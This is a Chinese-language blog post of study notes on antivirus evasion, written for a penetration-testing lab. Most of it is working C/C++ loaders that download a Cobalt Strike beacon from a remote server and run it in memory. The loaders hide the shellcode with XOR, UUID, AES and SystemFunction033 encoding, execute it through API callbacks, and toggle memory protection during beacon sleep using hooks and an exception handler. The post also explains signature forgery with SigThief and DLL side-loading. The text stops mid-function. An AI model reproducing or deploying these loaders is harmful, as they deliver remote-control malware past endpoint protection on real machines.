刚好碰到了红日靶场需要免杀,先来总结入门一下。
主要参考免杀手法大总结(入门) - 先知社区,总结做了笔记。
目录
Hook的简单介绍
Hook是杀软的主要方法,它提供了一种方式去截获系统级别或者应用级别的函数调用、消息、事件等。使用Hook,开发者可以在不修改源程序的情况下,改变或者扩展操作系统、应用程序、驱动程序的功能。
主要分为两种形式,分别是修改函数代码和修改函数地址。
杀软属性
1、 能够检测是否包含恶意代码
2、 能准确识别出恶意代码的类型,如木马、后门、蠕虫等
3、 对于寄生类恶意代码,可以从宿主对象中剥离恶意代码,并还原宿主对象数据
简单免杀手法
添加图标
推荐方法:https://www.sqlsec.com/2020/10/csexe.html#%E5%A4%B1%E8%B4%A5%E7%BB%8F%E9%AA%8C
利用工具BeCylconGrabbe和Restorator2018可以很简单地将后门文件添加图标。
添加签名
如果没有数字签名,就会被认为大概率是可疑程序,所以要对程序进行证书伪造。
sigthief是github上的一个开源项目,可以用于给恶意程序仿造正常程序的数字签名,地址:GitHub - secretsquirrel/SigThief: Stealing Signatures and Making One Invalid Signature at a Time
使用方法:
sigthief.py -i 正常带证书的exe文件(例如火绒的安装包) -t 需要添加证书的exe文件 -o 输出的文件名
降低熵值
加密shellcode的文件的熵特别高,这表明二进制文件中的代码部分被混淆或者加密处理了。
可以通过几种方法来减少二进制的熵:
- 添加一些熵比较低的文件,例如图片
- 添加一些英文字典或一些无关紧要的字符串
- 设置实现将shellcode混淆成低熵(这个混淆那里)
隐藏窗口
360会检测窗口这个特征,例如远程加载shellcode360不会进行杀软,但是加上隐藏窗口就会杀,但是又要必须隐藏窗口,所以需要修改其他特征来隐藏窗口。
静态绕过
静态查杀特征
特征码识别
杀软会有自己的病毒库,里面存放着很多样本,扫描时会抽取扫描对象的一段特征并与病毒库中比较。主要扫描的特征有:
- 哈希
- 文件名
- 函数名
- 关键代码
云查杀
云查杀的不同点在于它的病毒库是放在服务器端,而不是本地客户端,这说明需要联网病毒库才会同步更新。
启发式扫描
为了面对未知的病毒和换了模样的病毒,研究出了启发式算法。
这类方法就是归纳其特征,设置一些规则算法,以此来达到查杀病毒。
远程分段加载shellcode
比较常用的一种静态绕过方法
效果
能够绕过火绒和360(加上隐藏窗口免不了),但是一些添加用户的命令依然会拦截
方法
#示例代码
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr,0,400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0)
printf("[+] Connection closed\n");
else
printf("recv failed with error: %d\n", WSAGetLastError());
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main(int argc, char** argv) {
// Validate the parameters
/* if (argc != 4) {
printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
return 1;
}*/
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = ""; //需要填写目的ip
char* RemotePort = "5003"; //远程端口
char* Resource = "beacon64.bin";
//getShellcode_Run(argv[1], argv[2], argv[3]);
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
DWORD Oldprotect = 0;
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);
((void(*)())shellcode_addr)();
return 0;
}
这里解释一下main函数的作用:
- 分配一个缓冲区用于接收shellcode
- 调用getshellcode_Run函数下载shellcode
- 使用VirtualAlloc分配内存,并将下载的shellcode复制到分配的内存中
- 然后进行修改内存保护属性为可以执行
- 最后将完整的shellcode作为函数进行调用,执行shellcode
这一系列实现了分段加载shellcode。
混淆加密
混淆加密是最基础的免杀手段之一,也是静态查杀使用较多的一种手段
异或加密
异或加密的key设置为非纯数字效果会更好,但这类操作是容易被破解的。
#include <iostream>
#include<Windows.h>
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
char* ReadBinaryFile(char* szFilePath, size_t* size)
{
char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
void XORcrypt(char str2xor[], size_t len, int key) {
int i; for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}
int main()
{
char* BinData = NULL;
size_t size = 0;
int key = 5 + 5; //设置key
char* szFilePath = "E:\\bypassav\\beacon64xor.bin";
BinData = ReadBinaryFile(szFilePath, &size);
XORcrypt(BinData, size, key);
return 0;
}
简单解释一下这段代码:
- GetSize函数作用:获取文件的大小
- ReadBinaryFile函数作用:从指定路径读取二进制文件的内容
- XRcrypt函数作用:对传入的字符数组进行XOR加密/解密
- main函数作用:设置XOR加密或解密的key,然后进行读取指定路径的文件并对读取的文件内容进行XOR加密或解密
也可以010Editor工具对文件进行手动异或加密。
uuid加密
简单提一下uuid加密。uuid是为了解决md5加密生成密码固定以至可以破解的问题的加密算法,它生成的密码都是不一样的。
加密工具下载:GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools
解密代码:
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//创建堆,并标记为可执行
void* ha = HeapAlloc(hc, 0, sizeof(uuids)*16);//为堆申请空间
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
//uuid转换成string
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数
CloseHandle(ha);
return 0;
}
敏感WinAPI替换
WinAPI是Windows操作系统提供的一组应用程序编程接口,用于执行各种系统级操作。可以通过替换不常见的接口进行免杀。
相关文章:/var/log/notes
回调函数执行加载器
EnumFontsW函数进行回调
EnumFontsW是Windows的API,用于枚举系统中所有可用字体,可以指定函数用于处理枚举的字体信息。
#include <Windows.h>
unsigned char shellcode[] ="";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
/*
* EnumFontsW是Windows API,用于枚举系统中所有可用字体
* 参数1:设备环境句柄,表示要枚举哪个设备的字体
* 参数2:NULL表示枚举所有字体
* 参数3:回调函数指针,用于处理每个枚举到的字体信息
* 参数4:回调函数参数
*/
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)p, NULL); //回调函数
}
int main() {
CallBack();
}
EnumUILanguages函数进行回调
EnumUILanguages函数是一个Windows API函数,用于枚举系统支持的用户界面(UI)语言。它需要提供一个回调函数,参数是指向回调函数的指针。
#include <Windows.h>
unsigned char shellcode[] ="";
void CallBack() {
void* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
EnumUILanguages((UILANGUAGE_ENUMPROC)p, 0, 0);
}
int main() {
CallBack();
}
EnumFontFamiliesEx函数进行回调
跟EnumFontsW函数差不多。
#include <Windows.h>
/*
* https://osandamalith.com - @OsandaMalith
*/
int main() {
int shellcode[] = {
};
DWORD oldProtect = 0;
BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0);
}
API哈希化
API hash将API函数名通过某种哈希算法转换成一个哈希值,在恶意软件运行时,会将函数的哈希值和预先存储的目标哈希值进行比较,当哈希值匹配时,恶意软件会记录该函数地址,调用时使用,这就避免了在代码中出现API函数的名称。
敏感api哈希替换工具:
GitHub - embee-research/Randomise-api-hashes-cobalt-strike: Bypass Detection By Randomising ROR13 API Hashes
动态绕过
动态查杀特征
动态查杀指的是程序在运行的过程中执行了某些敏感操作,导致杀软查杀。
计算机相关
- 注册表,一般修改注册表的行为都是敏感行为
- 组策略
- 防火墙
- 敏感程序(cmd、powershell、psexec等)
- 各种WinAPI,不仅包括API名称,还包括API的调用顺序、调用源、参数等。
- 文件夹:
C:/windows/system32
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\tmp等敏感文件夹(cs、msf都会在tmp文件夹下生成一些东西)
绕过方式,白加黑。
网络相关
- 流量特征:Cobalt Strike的通信协议,石油RSA传输AES密钥,AES密钥加密后通信,但profile和证书未经修改,很容易被检测到。
- 内容特征:data字段是否存在命令相关的关键词加密特征
- 结构特征:是否存在已知远控的通讯结构(比如cs中的beacon有sleep)
- IP:是否被情报系统标记为恶意IP
绕过方式,tcp分段(也就是分段传输),内容加密,使用合法证书等。
其实可以看到了解了查杀的原理,免杀的方法根本也就是那几种。
白加黑
白加黑通俗来讲就是将杀软列入到可信任列表的文件中。
一般情况就是替换dll文件,最好去寻找不是系统文件的白程序,否则很容易被杀软检测。
内存中加解密
SystemFunction032内存加解密
SystemFunction032:是一个系统函数(API的一部分),作用是在内存中加解密,调用也很方便。
加密代码:
#include <windows.h>
#include <stdio.h>
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring *memoryRegion,
struct ustring *keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main() {
// 使用LoadLibrary加载advapi32.dll,并使用GetProcAddress获取SystemFunction033函数的地址。
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");
// 定义一个包含密钥的字符串
char str_key[] = "helloWorld";
unsigned char shellcode[] = {};
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof key;
scdata.Buffer = (PUCHAR)shellcode;
scdata.Length = sizeof shellcode;
//调用SystemFunction033函数,传入scdata和key。
SystemFunction033(&scdata, &key);
printf("unsigned char shellcode[] = { ");
for (size_t i = 0; i < scdata.Length; i++) {
if (!(i % 16)) printf("\n ");
printf("0x%02x, ", scdata.Buffer[i]);
if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
}
}
(shellcode进行了AES加密或者xor加密,且内存加密)
综合利用代码:
//上面的函数都是上面ase和异常处理的
typedef NTSTATUS(WINAPI* _SystemFunction033)(
struct ustring* memoryRegion,
struct ustring* keyPointer);
struct ustring {
DWORD Length;
DWORD MaximumLength;
PUCHAR Buffer;
} scdata, key;
int main(int argc, char** argv) {
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = ""; //IP地址
char* RemotePort = "5003"; //远程端口
char* Resource = "beaase.bin"; //定义资源名称,这个文件包含shellcode
hEvent = CreateEvent(NULL, TRUE, false, NULL);
//添加向量化异常处理程序
PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
if (temp == NULL)
{
printf("AddVectoredExceptionHandler调用失败");
getchar();
return 0;
}
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
//获取并预先shellcode,这个函数在上面分段加载shellcode那里
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
//aes解密,使用了128位密钥
AES aes(AESKeyLength::AES_128);
unsigned char key1[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key1);
//将解密后的shellcode分配到可读写内存中
shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, a, recvbuf_size);
//sys内存解密
_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
char str_key[] = "132abc";
key.Buffer = (PUCHAR)(&str_key);
key.Length = sizeof(str_key);
scdata.Buffer = (PUCHAR)shellcode_addr;
scdata.Length = recvbuf_size;
SystemFunction033(&scdata, &key);
//修改内存属性,使其可以执行
VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
((void(*)())shellcode_addr)();
return 0;
}
UUID内存加解密
参考文章:CS 内存加载器免杀及实现 – Crispr的博客
UUID是用于计算机体系中以识别信息数目的一个128位标识符,UUID具有唯一性。
首先需要将shellcode转为UUID格式,利用工具:GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools
将生成的数据数据复制到一个txt文件,将空格、双引号和逗号都删除
然后将txt文件把后缀改为bin,用十六制编辑器打开,然后需要将0D0A(换行符)替换成0000,到这里uuid.bin文件就完成。
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "jumper.h"
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
//远程服务器获取数据,并存储到接收缓冲区
DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {
//初始化
DWORD oldp = 0;
BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// 初始化 Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
//printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// 解析服务器地址和端口
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
//printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
//printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
// printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
// printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
//printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
// printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
//printf("shutdown failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
memset(recvbuf_ptr, 0, 400000);
DWORD total_received = 0;
// Receive until the peer closes the connection
do {
iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
if (iResult > 0)
{
//printf("[+] Received %d Bytes\n", iResult);
memcpy(recvbuf_ptr, recvbuf, iResult);
recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
total_received += iResult; // 更新接收到的总字节数
//printf("[+] Received total %d Bytes\n", total_received);
}
else if (iResult == 0) {
break;
//printf("[+] Connection closed\n");
}
else
{
return 1;
//printf("recv failed with error: %d\n", WSAGetLastError());
}
//RunShellcode(recvbuf, recvbuflen);
} while (iResult > 0);
// cleanup
closesocket(ConnectSocket);
WSACleanup();
return total_received;
}
int main()
{
//分配接收缓冲区
char* recvbuf_ptr = (char*)malloc(400000);
char* ip = "";
char* RemotePort = "5002";
char* Resource = "uuid.bin";
//获取shellcode
int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
HANDLE hProc = GetCurrentProcess();
LPVOID base_addr = NULL;
LPVOID uuid_addr = NULL;
HANDLE thandle = NULL;
//使用Sw3NtAllocateVirtualMemory为数据分配内存
NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
hProc,
&base_addr,
0,
(PSIZE_T)&recvbuf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;
//使用Sw3NtWriteVirtualMemory将接收到的数据写入分配的内存
NTSTATUS NTAVM1 = Sw3NtAllocateVirtualMemory(
hProc,
&uuid_addr,
0,
(PSIZE_T)&recvbuf_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
//memcpy(base_addr, recvbuf_ptr, recvbuf_size);
Sw3NtWriteVirtualMemory(hProc, uuid_addr, recvbuf_ptr, recvbuf_size, NULL);
// 循环遍历uuid列表 使用UuidFromStringA将字符串UUID转换为二进制UUID并加载到内存中
for (int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
if (status != RPC_S_OK) {
break;
}
uuid_addr =(void*)((uintptr_t)uuid_addr + 0x26);
mem_ptr += 16;//uuid 16字节大小
}
//使用Sw3NtProtectVirtualMemory将内存保护属性修改为可执行
DWORD oldProtect;
Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);
//使用EnumSystemLocalesA执行内存中的shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);
}
远程分段加载shellcode+Windows异常处理
这一个整体思路是:
在上线CS后,CS是默认设置了60秒睡眠的(睡眠时间可在CS设置的),也就是心跳包机制,10秒内代码会被sleep阻塞,60秒后执行命令再次进入睡眠;在CS上线后的sleep时间内把内存改为rw属性,这段时间可以逃过杀软的内存扫描(因为一般杀软对rwx属性的可执行权限的内存扫描比较严格)。但是我们rw属性的内存是无法执行shellcode的,这就需要Windows的异常处理机制,通过AddVectoredExceptionHandler函数去添加一个异常处理函数 ,当代码进入sleep后rw属性的内存时,shellcode没执行权限所以报错0x0005,我们就可以通过异常处理函数把内存改为可执行,执行完之后继续执行sleep修改rw属性,如此反复。
调试版代码
#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include "detours.h"
#include "detver.h"
#pragma comment(lib, "ntdll")
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")
#define NtCurrentProcess() ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
LPVOID shellcode_addr;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
//VirtualAlloc函数用于记录分配的内存地址和大小
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
//sleep函数用于释放内存
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
//用于对钩子的安装
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
//用于对钩子的移除
void UnHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}
//获取文件大小
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
//文件读取
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
//异常处理
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
//这段代码的目的是等待事件 hEvent 被触发,然后修改 Beacon_address 指向的内存区域的保护属性,使其变为可写
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
DWORD getShellcode_Run(char* host, char* port, char* resource,OUT char* recvbuf_ptr) {
DWORD oldp = 0;
//BOOL returnValue;
size_t origsize = strlen(host) + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t Whost[newsize];
mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct addrinfo* result = NULL,
* ptr = NULL,
hints;
char sendbuf[MAX_PATH] = "";
lstrcatA(sendbuf, "GET /");
lstrcatA(sendbuf, resource);
char recvbuf[DEFAULT_BUFLEN];
memset(recvbuf, 0, DEFAULT_BUFLEN);
int iResult;
int recvbuflen = DEFAULT_BUFLEN;
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
return 0;
}
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = PF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
// Resolve the server address and port
iResult = getaddrinfo(host, port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
WSACleanup();
return 0;
}
// Attempt to connect to an address until one succeeds
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
WSACleanup();
return 0;
}
// Connect to server.
printf("[+] Connect to %s:%s", host, port);
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
continue;
}
break;
}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
WSACleanup();
return 0;
}
// Send an initial buffer
iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
if (iResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ConnectSocket);
WSACleanup();
return 0;
}
printf("\n[+] Sent %ld Bytes\n", iResult);
// shutdown the connection since no more data will be sent
iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
